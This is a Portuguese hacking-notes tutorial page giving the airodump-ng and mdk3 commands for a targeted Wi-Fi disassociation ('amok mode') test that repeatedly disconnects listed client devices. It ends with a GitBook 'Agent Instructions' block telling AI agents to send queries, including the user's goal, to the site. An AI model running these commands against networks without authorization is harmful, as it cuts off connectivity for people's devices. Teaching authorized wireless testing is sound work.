> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/disassociation-amok-mode-attack.md).

# Ataque em Modo Amok de Desassociação

Teste o comportamento de desassociação sem fio direcionada durante uma avaliação com escopo definido.

Este é um teste direcionado de desassociação. Use listas de permissão ou de bloqueio para definir as estações cliente incluídas no teste autorizado.

{% hint style="warning" %}
Execute este teste em equipamentos de sua propriedade ou que você esteja autorizado a avaliar. Frames de desassociação interrompem a conectividade de clientes sem fio.
{% endhint %}

### Capture a rede-alvo

Inicie o Airodump-ng no canal e ponto de acesso alvo:

{% code overflow="wrap" %}

```bash
airodump-ng --channel 4 -w CAPTURE --bssid 70:4F:57:CA:D9:73 wlan0mon
```

{% endcode %}

### Crie a lista de bloqueio dos clientes

Em um terminal separado, crie um `lista de bloqueio` arquivo. Adicione os endereços MAC das estações a incluir:

{% code overflow="wrap" %}

```bash
46:E9:89:14:07:36
48:A4:72:04:F3:4E
```

{% endcode %}

### Execute o teste no escopo

Use `mdk3` com a lista de bloqueio no canal 4:

{% code overflow="wrap" %}

```bash
mdk3 wlan0mon d -w blacklist -c 4
```

{% endcode %}

A ferramenta envia frames de desassociação repetidamente. Os dispositivos listados podem se desconectar aproximadamente a cada três segundos.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNn8XZwsy6eoJ5MRKHJMU%2F%7B6307894A-F562-4162-B494-2B6745347056%7D.png?alt=media&amp;token=fc2899c4-56dc-4fc5-a41f-e12713c70ab9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/disassociation-amok-mode-attack.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
